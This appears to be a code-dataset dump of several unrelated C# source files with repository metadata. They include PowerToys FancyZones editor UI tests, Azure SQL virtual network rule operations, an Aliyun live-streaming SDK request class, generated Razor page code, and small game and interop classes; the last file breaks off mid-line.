//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace Ab3d.DXEngine.OculusWrap.WinForms.Sample.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } }
35.322581
151
0.589041
[ "MIT" ]
ab4d/Ab3d.OculusWrap
Ab3d.OculusWrap/Ab3d.DXEngine.OculusWrap.WinForms.Sample/Properties/Settings.Designer.cs
1,097
C#
using System.IO; using Microsoft.VisualStudio.TestTools.UnitTesting; using Newtonsoft.Json.Linq; using OpenQA.Selenium; using OpenQA.Selenium.Appium.Windows; using OpenQA.Selenium.Interactions; namespace PowerToysTests { [TestClass] public class FancyZonesEditorCustomLayoutsTests : FancyZonesEditor { private void SetLayoutName(string name) { WindowsElement textBox = session.FindElementByClassName("TextBox"); textBox.Click(); textBox.SendKeys(Keys.Control + "a"); textBox.SendKeys(Keys.Backspace); textBox.SendKeys(name); } private void CancelTest() { WindowsElement cancelButton = session.FindElementByXPath("//Window[@Name=\"FancyZones Editor\"]/Window/Button[@Name=\"Cancel\"]"); new Actions(session).MoveToElement(cancelButton).Click().Perform(); ShortWait(); Assert.AreEqual(_initialZoneSettings, File.ReadAllText(_zoneSettingsPath), "Settings were changed"); } private void SaveTest(string type, string name, int zoneCount) { new Actions(session).MoveToElement(session.FindElementByName("Save and apply")).Click().Perform(); ShortWait(); JObject settings = JObject.Parse(File.ReadAllText(_zoneSettingsPath)); Assert.AreEqual(name, settings["custom-zone-sets"][0]["name"]); Assert.AreEqual(settings["custom-zone-sets"][0]["uuid"], settings["devices"][0]["active-zoneset"]["uuid"]); Assert.AreEqual(type, settings["custom-zone-sets"][0]["type"]); Assert.AreEqual(zoneCount, settings["custom-zone-sets"][0]["info"]["zones"].ToObject<JArray>().Count); } [TestMethod] public void CreateCancel() { OpenCreatorWindow("Create new custom", "Custom layout creator"); ZoneCountTest(0, 0); session.FindElementByAccessibilityId("newZoneButton").Click(); ZoneCountTest(1, 0); CancelTest(); } [TestMethod] public void CreateEmpty() { OpenCreatorWindow("Create new custom", "Custom layout creator"); ZoneCountTest(0, 0); SaveTest("canvas", "Custom Layout 1", 0); } [TestMethod] public void CreateSingleZone() { OpenCreatorWindow("Create new custom", "Custom layout creator"); ZoneCountTest(0, 0); session.FindElementByAccessibilityId("newZoneButton").Click(); ZoneCountTest(1, 0); SaveTest("canvas", "Custom Layout 1", 1); } [TestMethod] public void CreateManyZones() { OpenCreatorWindow("Create new custom", "Custom layout creator"); ZoneCountTest(0, 0); const int expectedZoneCount = 20; WindowsElement addButton = session.FindElementByAccessibilityId("newZoneButton"); for (int i = 0; i < expectedZoneCount; i++) { addButton.Click(); } ZoneCountTest(expectedZoneCount, 0); SaveTest("canvas", "Custom Layout 1", expectedZoneCount); } [TestMethod] public void CreateDeleteZone() { OpenCreatorWindow("Create new custom", "Custom layout creator"); ZoneCountTest(0, 0); WindowsElement addButton = session.FindElementByAccessibilityId("newZoneButton"); for (int i = 0; i < 10; i++) { //add zone addButton.Click(); WindowsElement zone = session.FindElementByClassName("CanvasZone"); Assert.IsNotNull(zone, "Zone was not created"); Assert.IsTrue(zone.Displayed, "Zone was not displayed"); //remove zone zone.FindElementByClassName("Button").Click(); } ZoneCountTest(0, 0); CancelTest(); } [TestMethod] public void CreateWithName() { OpenCreatorWindow("Create new custom", "Custom layout creator"); string name = "My custom zone layout name"; SetLayoutName(name); SaveTest("canvas", name, 0); } [TestMethod] public void CreateWithEmptyName() { OpenCreatorWindow("Create new custom", "Custom layout creator"); string name = ""; SetLayoutName(name); SaveTest("canvas", name, 0); } [TestMethod] public void CreateWithUnicodeCharactersName() { OpenCreatorWindow("Create new custom", "Custom layout creator"); string name = "ёÖ±¬āݾᵩὡ√ﮘﻹտ"; SetLayoutName(name); SaveTest("canvas", name, 0); } [TestMethod] public void RenameLayout() { //create layout OpenCreatorWindow("Create new custom", "Custom layout creator"); string name = "My custom zone layout name"; SetLayoutName(name); SaveTest("canvas", name, 0); ShortWait(); //rename layout OpenEditor(); OpenCustomLayouts(); OpenCreatorWindow(name, "Custom layout creator"); name = "New name"; SetLayoutName(name); SaveTest("canvas", name, 0); } [TestMethod] public void RemoveLayout() { //create layout OpenCreatorWindow("Create new custom", "Custom layout creator"); string name = "Name"; SetLayoutName(name); SaveTest("canvas", name, 0); ShortWait(); //save layout id JObject settings = JObject.Parse(File.ReadAllText(_zoneSettingsPath)); Assert.AreEqual(1, settings["custom-zone-sets"].ToObject<JArray>().Count); string layoutId = settings["custom-zone-sets"][0]["uuid"].ToString(); //remove layout OpenEditor(); OpenCustomLayouts(); WindowsElement nameLabel = session.FindElementByXPath("//Text[@Name=\"" + name + "\"]"); new Actions(session).MoveToElement(nameLabel).MoveByOffset(nameLabel.Rect.Width / 2 + 10, 0).Click().Perform(); //settings are saved on window closing new Actions(session).MoveToElement(session.FindElementByAccessibilityId("PART_Close")).Click().Perform(); ShortWait(); //check settings settings = JObject.Parse(File.ReadAllText(_zoneSettingsPath)); Assert.AreEqual(0, settings["custom-zone-sets"].ToObject<JArray>().Count); foreach (JObject device in settings["devices"].ToObject<JArray>()) { Assert.AreNotEqual(layoutId, device["active-zoneset"]["uuid"], "Deleted layout still applied"); } } [TestMethod] public void AddRemoveSameLayoutNames() { string name = "Name"; for (int i = 0; i < 3; i++) { //create layout OpenCreatorWindow("Create new custom", "Custom layout creator"); SetLayoutName(name); new Actions(session).MoveToElement(session.FindElementByName("Save and apply")).Click().Perform(); ShortWait(); //remove layout OpenEditor(); OpenCustomLayouts(); WindowsElement nameLabel = session.FindElementByXPath("//Text[@Name=\"" + name + "\"]"); new Actions(session).MoveToElement(nameLabel).MoveByOffset(nameLabel.Rect.Width / 2 + 10, 0).Click().Perform(); } //settings are saved on window closing new Actions(session).MoveToElement(session.FindElementByAccessibilityId("PART_Close")).Click().Perform(); ShortWait(); //check settings JObject settings = JObject.Parse(File.ReadAllText(_zoneSettingsPath)); Assert.AreEqual(0, settings["custom-zone-sets"].ToObject<JArray>().Count); } [TestMethod] public void AddRemoveDifferentLayoutNames() { for (int i = 0; i < 3; i++) { string name = i.ToString(); //create layout OpenCreatorWindow("Create new custom", "Custom layout creator"); SetLayoutName(name); new Actions(session).MoveToElement(session.FindElementByName("Save and apply")).Click().Perform(); ShortWait(); //remove layout OpenEditor(); OpenCustomLayouts(); WindowsElement nameLabel = session.FindElementByXPath("//Text[@Name=\"" + name + "\"]"); new Actions(session).MoveToElement(nameLabel).MoveByOffset(nameLabel.Rect.Width / 2 + 10, 0).Click().Perform(); } //settings are saved on window closing new Actions(session).MoveToElement(session.FindElementByAccessibilityId("PART_Close")).Click().Perform(); ShortWait(); //check settings JObject settings = JObject.Parse(File.ReadAllText(_zoneSettingsPath)); Assert.AreEqual(0, settings["custom-zone-sets"].ToObject<JArray>().Count); } [TestMethod] public void RemoveApply() { string name = "Name"; //create layout OpenCreatorWindow("Create new custom", "Custom layout creator"); SetLayoutName(name); new Actions(session).MoveToElement(session.FindElementByName("Save and apply")).Click().Perform(); ShortWait(); //save layout id JObject settings = JObject.Parse(File.ReadAllText(_zoneSettingsPath)); Assert.AreEqual(1, settings["custom-zone-sets"].ToObject<JArray>().Count); string layoutId = settings["custom-zone-sets"][0]["uuid"].ToString(); //remove layout OpenEditor(); OpenCustomLayouts(); WindowsElement nameLabel = session.FindElementByXPath("//Text[@Name=\"" + name + "\"]"); new Actions(session).MoveToElement(nameLabel).MoveByOffset(nameLabel.Rect.Width / 2 + 10, 0).Click().Perform(); //apply new Actions(session).MoveToElement(session.FindElementByName("Apply")).Click().Perform(); ShortWait(); //check settings settings = JObject.Parse(File.ReadAllText(_zoneSettingsPath)); Assert.AreEqual(0, settings["custom-zone-sets"].ToObject<JArray>().Count); foreach (JObject device in settings["devices"].ToObject<JArray>()) { Assert.AreNotEqual(layoutId, device["active-zoneset"]["uuid"], "Deleted layout still applied"); } } [ClassInitialize] public static void ClassInitialize(TestContext context) { Setup(context, false); ResetSettings(); } [ClassCleanup] public static void ClassCleanup() { TearDown(); } [TestInitialize] public void TestInitialize() { if (!isPowerToysLaunched) { LaunchPowerToys(); } OpenEditor(); OpenCustomLayouts(); } [TestCleanup] public void TestCleanup() { CloseEditor(); ResetDefautZoneSettings(false); } } }
36.876161
143
0.551759
[ "MIT" ]
GeertvanHorrik/PowerToys
src/tests/win-app-driver/FancyZonesTests/EditorCustomLayoutsTests.cs
11,930
C#
using System.Collections.Generic; using Google.Protobuf; namespace AElf.Kernel.SmartContract.Application { public abstract class BlockExecutedDataProvider { protected abstract string GetBlockExecutedDataName(); protected string GetBlockExecutedDataKey(IMessage key = null) { var list = new List<string> {KernelConstants.BlockExecutedDataKey, GetBlockExecutedDataName()}; if(key != null) list.Add(key.ToString()); return string.Join("/", list); } } }
31.941176
107
0.664825
[ "MIT" ]
booggzen/AElf
src/AElf.Kernel.Core/SmartContract/Application/BlockExecutedCacheProvider.cs
543
C#
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Bindings; namespace ConsoleApp.Chars { class Preacher : UserChar { public Preacher(UserChar baseChar) { id = baseChar.id; name = baseChar.name; Health = baseChar.Health; Agility = baseChar.Agility; Strength = baseChar.Strength; Intelligence = baseChar.Intelligence; Potency = baseChar.Potency; Tenacity = baseChar.Tenacity; CriticalChance = baseChar.CriticalChance; HealthSteal = baseChar.HealthSteal; Armor = baseChar.Armor; MagicResistance = baseChar.MagicResistance; ArmorPenetration = baseChar.ArmorPenetration; EvadeChance = baseChar.EvadeChance; Speed = baseChar.Agility; HealForce = baseChar.HealForce; CriticalDamage = baseChar.CriticalDamage; PhysicalDamage = baseChar.PhysicalDamage; MagicalDamage = baseChar.MagicalDamage; skillCount = 2; } public override void Skill_1(UserChar target, QuickPlaySession session) { session.moveLogs.Add(target.GetPhysicalDamage(this)); } public override void Skill_2(UserChar target, QuickPlaySession session) { session.moveLogs.Add(target.GetMagicalDamage(this)); } } }
31.319149
79
0.610054
[ "MIT" ]
lightSoulDev/old-game-server-base
Chars/Preacher.cs
1,474
C#
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. namespace Microsoft.Azure.Management.Sql.Fluent { using System.Threading; using System.Threading.Tasks; using Microsoft.Azure.Management.ResourceManager.Fluent.Core.CollectionActions; using Microsoft.Azure.Management.Sql.Fluent.SqlVirtualNetworkRuleOperations.Definition; using Microsoft.Azure.Management.Sql.Fluent.SqlVirtualNetworkRuleOperations.SqlVirtualNetworkRuleActionsDefinition; using System.Collections.Generic; using System; using Microsoft.Azure.Management.ResourceManager.Fluent.Core; using Microsoft.Rest.Azure; /// <summary> /// Implementation for SQL Virtual Network Rule operations. /// </summary> ///GENTHASH:Y29tLm1pY3Jvc29mdC5henVyZS5tYW5hZ2VtZW50LnNxbC5pbXBsZW1lbnRhdGlvbi5TcWxWaXJ0dWFsTmV0d29ya1J1bGVPcGVyYXRpb25zSW1wbA== internal partial class SqlVirtualNetworkRuleOperationsImpl : ISqlVirtualNetworkRuleOperations, ISqlVirtualNetworkRuleActionsDefinition { private ISqlManager sqlServerManager; private ISqlServer sqlServer; ///GENMHASH:FADADB5A45CA913DB3D82883282DED5F:172DFD0C55F9647DA063B9F8DD99B72F internal SqlVirtualNetworkRuleOperationsImpl(ISqlServer parent, ISqlManager sqlServerManager) { this.sqlServerManager = sqlServerManager ?? throw new ArgumentNullException("sqlServerManager"); this.sqlServer = parent ?? throw new ArgumentNullException("sqlServer"); } ///GENMHASH:3B357D747B8FE8DBA395FCE2B790551E:A7BF2E821587BBA77FF79ADAEDD68B33 internal SqlVirtualNetworkRuleOperationsImpl(ISqlManager sqlServerManager) { this.sqlServerManager = sqlServerManager ?? throw new ArgumentNullException("sqlServerManager"); } ///GENMHASH:16CEA22B57032A6757D8EFC1BF423794:97F2B64C1F4F5E00F59C6275948CB70B public IReadOnlyList<Microsoft.Azure.Management.Sql.Fluent.ISqlVirtualNetworkRule> ListBySqlServer(string resourceGroupName, string sqlServerName) { return Extensions.Synchronize(() => this.ListBySqlServerAsync(resourceGroupName, sqlServerName)); } ///GENMHASH:48B8354F9A8656B355FBB651D3743037:E8808166908D9271E78AE127C6784184 public IReadOnlyList<Microsoft.Azure.Management.Sql.Fluent.ISqlVirtualNetworkRule> ListBySqlServer(ISqlServer sqlServer) { return Extensions.Synchronize(() => this.ListBySqlServerAsync(sqlServer)); } ///GENMHASH:03C6F391A16F96A5127D98827B5423FA:5E8AB510C9E69E6DA4A2656F368BB053 public ISqlVirtualNetworkRule GetBySqlServer(string resourceGroupName, string sqlServerName, string name) { return Extensions.Synchronize(() => this.GetBySqlServerAsync(resourceGroupName, sqlServerName, name)); } ///GENMHASH:3B0B15606AA6CA4AD0624C5561BF19C5:A9C66147B7BF3C2731755FE9E322E0A2 public ISqlVirtualNetworkRule GetBySqlServer(ISqlServer sqlServer, string name) { return Extensions.Synchronize(() => this.GetBySqlServerAsync(sqlServer.ResourceGroupName, sqlServer.Name, name)); } ///GENMHASH:7BD5581333BDF8A0EEFAF838D1C32E11:9DE50B8CDDC51DC39E2104E80E2ABD94 public async Task DeleteBySqlServerAsync(string resourceGroupName, string sqlServerName, string name, CancellationToken cancellationToken = default(CancellationToken)) { await this.sqlServerManager.Inner.VirtualNetworkRules .DeleteAsync(resourceGroupName, sqlServerName, name, cancellationToken); } ///GENMHASH:90DDF31DBCC18A1CCF68558A7E8449CD:E9F96A74ED2DA7AD58934E5EB6F473D1 public async Task<IReadOnlyList<Microsoft.Azure.Management.Sql.Fluent.ISqlVirtualNetworkRule>> ListBySqlServerAsync(string resourceGroupName, string sqlServerName, CancellationToken cancellationToken = default(CancellationToken)) { List<ISqlVirtualNetworkRule> virtualNetworkRules = new List<ISqlVirtualNetworkRule>(); var virtualNetworkRuleInners = await this.sqlServerManager.Inner.VirtualNetworkRules.ListByServerAsync(resourceGroupName, sqlServerName, cancellationToken); if (virtualNetworkRuleInners != null) { foreach (var vnetInner in virtualNetworkRuleInners) { virtualNetworkRules.Add(new SqlVirtualNetworkRuleImpl(resourceGroupName, sqlServerName, vnetInner.Name, vnetInner, sqlServerManager)); } } return virtualNetworkRules.AsReadOnly(); } ///GENMHASH:2EA8D9073369A6E1267C1FB74F86952A:72066CB6329F9723DD915945A2B73E0E public async Task<IReadOnlyList<Microsoft.Azure.Management.Sql.Fluent.ISqlVirtualNetworkRule>> ListBySqlServerAsync(ISqlServer sqlServer, CancellationToken cancellationToken = default(CancellationToken)) { List<ISqlVirtualNetworkRule> virtualNetworkRules = new List<ISqlVirtualNetworkRule>(); var virtualNetworkRuleInners = await sqlServer.Manager.Inner.VirtualNetworkRules.ListByServerAsync(sqlServer.ResourceGroupName, sqlServer.Name, cancellationToken); if (virtualNetworkRuleInners != null) { foreach (var vnetInner in virtualNetworkRuleInners) { virtualNetworkRules.Add(new SqlVirtualNetworkRuleImpl(vnetInner.Name, (SqlServerImpl) sqlServer, vnetInner, sqlServerManager)); } } return virtualNetworkRules.AsReadOnly(); } ///GENMHASH:2A6462AE45E430A3F53D2BC369D967B4:2ACB5605EFFBF7FE1BA6DAD207415243 public async Task<Microsoft.Azure.Management.Sql.Fluent.ISqlVirtualNetworkRule> GetBySqlServerAsync(string resourceGroupName, string sqlServerName, string name, CancellationToken cancellationToken = default(CancellationToken)) { try { var vnetInner = await this.sqlServerManager.Inner.VirtualNetworkRules .GetAsync(resourceGroupName, sqlServerName, name, cancellationToken); return vnetInner != null ? new SqlVirtualNetworkRuleImpl(resourceGroupName, sqlServerName, vnetInner.Name, vnetInner, sqlServerManager) : null; } catch (CloudException ex) when (ex.Response.StatusCode == System.Net.HttpStatusCode.NotFound) { return null; } catch (AggregateException ex) when ((ex.InnerExceptions[0] as CloudException).Response.StatusCode == System.Net.HttpStatusCode.NotFound) { return null; } } ///GENMHASH:48BA5938680939720DEA90858B8FC7E4:7B0BE68814CDBEBD16BFB8FD8569FD09 public async Task<Microsoft.Azure.Management.Sql.Fluent.ISqlVirtualNetworkRule> GetBySqlServerAsync(ISqlServer sqlServer, string name, CancellationToken cancellationToken = default(CancellationToken)) { try { var vnetInner = await sqlServer.Manager.Inner.VirtualNetworkRules .GetAsync(sqlServer.ResourceGroupName, sqlServer.Name, name, cancellationToken); return vnetInner != null ? new SqlVirtualNetworkRuleImpl(vnetInner.Name, (SqlServerImpl)sqlServer, vnetInner, sqlServerManager) : null; } catch (CloudException ex) when (ex.Response.StatusCode == System.Net.HttpStatusCode.NotFound) { return null; } catch (AggregateException ex) when ((ex.InnerExceptions[0] as CloudException).Response.StatusCode == System.Net.HttpStatusCode.NotFound) { return null; } } ///GENMHASH:4ABAEC77990815B01AA39D981ECF5CA5:5BC2CE295A48AC2AB6D73BB441883E14 public void DeleteBySqlServer(string resourceGroupName, string sqlServerName, string name) { Extensions.Synchronize(() => this.DeleteBySqlServerAsync(resourceGroupName, sqlServerName, name)); } ///GENMHASH:8ACFB0E23F5F24AD384313679B65F404:97EADFA6DB9288740DDD782E3253A18B public SqlVirtualNetworkRuleImpl Define(string name) { SqlVirtualNetworkRuleImpl result = new SqlVirtualNetworkRuleImpl(name, new Models.VirtualNetworkRuleInner(), this.sqlServerManager); return (this.sqlServer != null) ? result.WithExistingSqlServer(this.sqlServer) : result; } public ISqlVirtualNetworkRule GetById(string id) { return Extensions.Synchronize(() => this.GetByIdAsync(id)); } public async Task<ISqlVirtualNetworkRule> GetByIdAsync(string id, CancellationToken cancellationToken = default(CancellationToken)) { if (id == null) { throw new ArgumentNullException(id); } var resourceId = ResourceId.FromString(id); return await this.GetBySqlServerAsync(resourceId.ResourceGroupName, resourceId.Parent.Name, resourceId.Name, cancellationToken); } public void DeleteById(string id) { Extensions.Synchronize(() => this.DeleteByIdAsync(id)); } public async Task DeleteByIdAsync(string id, CancellationToken cancellationToken = default(CancellationToken)) { if (id == null) { throw new ArgumentNullException(id); } var resourceId = ResourceId.FromString(id); await this.DeleteBySqlServerAsync(resourceId.ResourceGroupName, resourceId.Parent.Name, resourceId.Name, cancellationToken); } public ISqlVirtualNetworkRule Get(string name) { return Extensions.Synchronize(() => this.GetAsync(name)); } public async Task DeleteAsync(string name, CancellationToken cancellationToken = default(CancellationToken)) { if (sqlServer == null) { return; } await this.DeleteBySqlServerAsync(this.sqlServer.ResourceGroupName, this.sqlServer.Name, name, cancellationToken); } public async Task<ISqlVirtualNetworkRule> GetAsync(string name, CancellationToken cancellationToken = default(CancellationToken)) { if (sqlServer == null) { return null; } return await this.GetBySqlServerAsync(this.sqlServer.ResourceGroupName, this.sqlServer.Name, name, cancellationToken); } public IReadOnlyList<ISqlVirtualNetworkRule> List() { if (sqlServer == null) { return null; } return Extensions.Synchronize(() => this.ListAsync()); } public void Delete(string name) { if (sqlServer != null) { Extensions.Synchronize(() => this.DeleteAsync(name)); } } public async Task<IReadOnlyList<ISqlVirtualNetworkRule>> ListAsync(CancellationToken cancellationToken = default(CancellationToken)) { if (this.sqlServer == null) { return null; } return await this.ListBySqlServerAsync(this.sqlServer.ResourceGroupName, this.sqlServer.Name, cancellationToken); } } }
49.8
237
0.688318
[ "MIT" ]
abharath27/azure-libraries-for-net
src/ResourceManagement/Sql/SqlVirtualNetworkRuleOperationsImpl.cs
11,454
C#
using ProvaDeConceitoCrudDatabaseVsSerializacao.Domain.Models; namespace ProvaDeConceitoCrudDatabaseVsSerializacao.Domain.Interfaces.Services { public interface IPrinterService : IServiceBase<Printer> { Printer FindByIpAddress(string ipAddress); } }
27.2
78
0.801471
[ "Unlicense" ]
evertonj/LiteDbVsSerializeXml
ProvaDeConceitoCrudDatabaseVsSerializacao.Domain/Interfaces/Services/IPrinterService.cs
274
C#
#pragma checksum "D:\ReposMSP\SWE20001\src\WebUI\Areas\Identity\Pages\Error.cshtml" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "f6ebae86d40004d00768c35aea29f9fd0820dc4a" // <auto-generated/> #pragma warning disable 1591 [assembly: global::Microsoft.AspNetCore.Razor.Hosting.RazorCompiledItemAttribute(typeof(AspNetCore.Areas_Identity_Pages_Error), @"mvc.1.0.razor-page", @"/Areas/Identity/Pages/Error.cshtml")] namespace AspNetCore { #line hidden using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.AspNetCore.Mvc.ViewFeatures; #nullable restore #line 1 "D:\ReposMSP\SWE20001\src\WebUI\Areas\Identity\Pages\_ViewImports.cshtml" using Microsoft.AspNetCore.Identity; #line default #line hidden #nullable disable #nullable restore #line 2 "D:\ReposMSP\SWE20001\src\WebUI\Areas\Identity\Pages\_ViewImports.cshtml" using CleanArchitecture.WebUI.Areas.Identity; #line default #line hidden #nullable disable #nullable restore #line 3 "D:\ReposMSP\SWE20001\src\WebUI\Areas\Identity\Pages\_ViewImports.cshtml" using CleanArchitecture.WebUI.Areas.Identity.Pages; #line default #line hidden #nullable disable #nullable restore #line 5 "D:\ReposMSP\SWE20001\src\WebUI\Areas\Identity\Pages\_ViewImports.cshtml" using CleanArchitecture.Infrastructure.Identity; #line default #line hidden #nullable disable [global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@"SHA1", @"f6ebae86d40004d00768c35aea29f9fd0820dc4a", @"/Areas/Identity/Pages/Error.cshtml")] [global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@"SHA1", @"fd9e1a692870b6f6dc2fcea5ef49d1276f523eaa", @"/Areas/Identity/Pages/_ViewImports.cshtml")] public class Areas_Identity_Pages_Error : global::Microsoft.AspNetCore.Mvc.RazorPages.Page { #pragma warning disable 1998 public async override global::System.Threading.Tasks.Task ExecuteAsync() { #nullable restore #line 3 "D:\ReposMSP\SWE20001\src\WebUI\Areas\Identity\Pages\Error.cshtml" ViewData["Title"] = "Error"; #line default #line hidden #nullable disable WriteLiteral("\r\n<h1 class=\"text-danger\">Error.</h1>\r\n<h2 class=\"text-danger\">An error occurred while processing your request.</h2>\r\n\r\n"); #nullable restore #line 10 "D:\ReposMSP\SWE20001\src\WebUI\Areas\Identity\Pages\Error.cshtml" if (Model.ShowRequestId) { #line default #line hidden #nullable disable WriteLiteral(" <p>\r\n <strong>Request ID:</strong> <code>"); #nullable restore #line 13 "D:\ReposMSP\SWE20001\src\WebUI\Areas\Identity\Pages\Error.cshtml" Write(Model.RequestId); #line default #line hidden #nullable disable WriteLiteral("</code>\r\n </p>\r\n"); #nullable restore #line 15 "D:\ReposMSP\SWE20001\src\WebUI\Areas\Identity\Pages\Error.cshtml" } #line default #line hidden #nullable disable WriteLiteral(@" <h3>Development Mode</h3> <p> Swapping to <strong>Development</strong> environment will display more detailed information about the error that occurred. </p> <p> <strong>Development environment should not be enabled in deployed applications</strong>, as it can result in sensitive information from exceptions being displayed to end users. For local debugging, development environment can be enabled by setting the <strong>ASPNETCORE_ENVIRONMENT</strong> environment variable to <strong>Development</strong>, and restarting the application. </p> "); } #pragma warning restore 1998 [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.ViewFeatures.IModelExpressionProvider ModelExpressionProvider { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.IUrlHelper Url { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.IViewComponentHelper Component { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.Rendering.IJsonHelper Json { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.Rendering.IHtmlHelper<ErrorModel> Html { get; private set; } public global::Microsoft.AspNetCore.Mvc.ViewFeatures.ViewDataDictionary<ErrorModel> ViewData => (global::Microsoft.AspNetCore.Mvc.ViewFeatures.ViewDataDictionary<ErrorModel>)PageContext?.ViewData; public ErrorModel Model => ViewData.Model; } } #pragma warning restore 1591
44.669725
381
0.757445
[ "MIT" ]
JakeSiewJK64/SWE20001
src/WebUI/obj/Debug/net5.0/Razor/Areas/Identity/Pages/Error.cshtml.g.cs
4,869
C#
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ using Aliyun.Acs.Core; using Aliyun.Acs.Core.Http; using Aliyun.Acs.Core.Transform; using Aliyun.Acs.Core.Utils; using Aliyun.Acs.live.Transform; using Aliyun.Acs.live.Transform.V20161101; using System.Collections.Generic; namespace Aliyun.Acs.live.Model.V20161101 { public class ModifyCasterVideoResourceRequest : RpcAcsRequest<ModifyCasterVideoResourceResponse> { public ModifyCasterVideoResourceRequest() : base("live", "2016-11-01", "ModifyCasterVideoResource", "live", "openAPI") { } private string resourceId; private string vodUrl; private string casterId; private int? endOffset; private long? ownerId; private string materialId; private int? beginOffset; private string liveStreamUrl; private int? ptsCallbackInterval; private string action; private string resourceName; private int? repeatNum; public string ResourceId { get { return resourceId; } set { resourceId = value; DictionaryUtil.Add(QueryParameters, "ResourceId", value); } } public string VodUrl { get { return vodUrl; } set { vodUrl = value; DictionaryUtil.Add(QueryParameters, "VodUrl", value); } } public string CasterId { get { return casterId; } set { casterId = value; DictionaryUtil.Add(QueryParameters, "CasterId", value); } } public int? EndOffset { get { return endOffset; } set { endOffset = value; DictionaryUtil.Add(QueryParameters, "EndOffset", value.ToString()); } } public long? OwnerId { get { return ownerId; } set { ownerId = value; DictionaryUtil.Add(QueryParameters, "OwnerId", value.ToString()); } } public string MaterialId { get { return materialId; } set { materialId = value; DictionaryUtil.Add(QueryParameters, "MaterialId", value); } } public int? BeginOffset { get { return beginOffset; } set { beginOffset = value; DictionaryUtil.Add(QueryParameters, "BeginOffset", value.ToString()); } } public string LiveStreamUrl { get { return liveStreamUrl; } set { liveStreamUrl = value; DictionaryUtil.Add(QueryParameters, "LiveStreamUrl", value); } } public int? PtsCallbackInterval { get { return ptsCallbackInterval; } set { ptsCallbackInterval = value; DictionaryUtil.Add(QueryParameters, "PtsCallbackInterval", value.ToString()); } } public string Action { get { return action; } set { action = value; DictionaryUtil.Add(QueryParameters, "Action", value); } } public string ResourceName { get { return resourceName; } set { resourceName = value; DictionaryUtil.Add(QueryParameters, "ResourceName", value); } } public int? RepeatNum { get { return repeatNum; } set { repeatNum = value; DictionaryUtil.Add(QueryParameters, "RepeatNum", value.ToString()); } } public override ModifyCasterVideoResourceResponse GetResponse(Core.Transform.UnmarshallerContext unmarshallerContext) { return ModifyCasterVideoResourceResponseUnmarshaller.Unmarshall(unmarshallerContext); } } }
19.606335
125
0.635357
[ "Apache-2.0" ]
brightness007/unofficial-aliyun-openapi-net-sdk
aliyun-net-sdk-live/Live/Model/V20161101/ModifyCasterVideoResourceRequest.cs
4,333
C#
using System; using System.Net; namespace WebDAVSharp.Server.Exceptions { /// <summary> /// This exception is thrown when the user is not authorized to execute the request. /// Statuscode: 401 Unauthorized. /// </summary> [Serializable] public class WebDavUnauthorizedException : WebDavException { /// <summary> /// Initializes a new instance of the <see cref="WebDavNotFoundException" /> class. /// </summary> /// <param name="message">The exception message stating the reason for the exception being thrown.</param> /// <param name="innerException">The /// <see cref="Exception" /> that is the cause for this exception; /// or /// <c>null</c> if no inner exception is specified.</param> public WebDavUnauthorizedException(string message = null, Exception innerException = null) : base(HttpStatusCode.Unauthorized, message, innerException) { // Do nothing here } } }
37.555556
114
0.636095
[ "MIT" ]
PerfectXL/WebDAVSharp.Server.BasicAuth
Exceptions/WebDavUnauthorizedException.cs
1,014
C#
// Copyright © Tanner Gooding and Contributors. Licensed under the MIT License (MIT). See License.md in the repository root for more information. // Ported from um/msctf.h in the Windows SDK for Windows 10.0.20348.0 // Original source is Copyright © Microsoft. All rights reserved. using NUnit.Framework; using System; using System.Runtime.InteropServices; using static TerraFX.Interop.Windows; namespace TerraFX.Interop.UnitTests { /// <summary>Provides validation of the <see cref="ITfContextOwner" /> struct.</summary> public static unsafe partial class ITfContextOwnerTests { /// <summary>Validates that the <see cref="Guid" /> of the <see cref="ITfContextOwner" /> struct is correct.</summary> [Test] public static void GuidOfTest() { Assert.That(typeof(ITfContextOwner).GUID, Is.EqualTo(IID_ITfContextOwner)); } /// <summary>Validates that the <see cref="ITfContextOwner" /> struct is blittable.</summary> [Test] public static void IsBlittableTest() { Assert.That(Marshal.SizeOf<ITfContextOwner>(), Is.EqualTo(sizeof(ITfContextOwner))); } /// <summary>Validates that the <see cref="ITfContextOwner" /> struct has the right <see cref="LayoutKind" />.</summary> [Test] public static void IsLayoutSequentialTest() { Assert.That(typeof(ITfContextOwner).IsLayoutSequential, Is.True); } /// <summary>Validates that the 